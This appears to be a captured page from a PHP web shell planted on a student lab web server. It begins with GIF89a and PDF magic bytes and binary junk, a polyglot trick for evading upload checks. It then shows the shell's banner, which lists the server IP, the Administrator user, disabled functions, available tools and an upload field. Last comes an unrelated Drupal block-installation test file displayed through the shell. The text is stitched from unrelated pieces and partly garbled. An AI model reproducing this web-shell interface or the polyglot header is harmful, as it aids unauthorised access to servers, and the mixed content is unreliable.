GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/block/src/Tests/ |
Upload File : |
<?php namespace Drupal\block\Tests; use Drupal\simpletest\WebTestBase; /** * Tests block module's installation. * * @group block */ class BlockInstallTest extends WebTestBase { public function testCacheTagInvalidationUponInstallation() { // Warm the page cache. $this->drupalGet(''); $this->assertNoText('Powered by Drupal'); $this->assertNoCacheTag('config:block_list'); // Install the block module, and place the "Powered by Drupal" block. $this->container->get('module_installer')->install(['block', 'shortcut']); $this->rebuildContainer(); $this->container->get('router.builder')->rebuild(); $this->drupalPlaceBlock('system_powered_by_block'); // Check the same page, block.module's hook_install() should have // invalidated the 'rendered' cache tag to make blocks show up. $this->drupalGet(''); $this->assertCacheTag('config:block_list'); $this->assertText('Powered by Drupal'); } }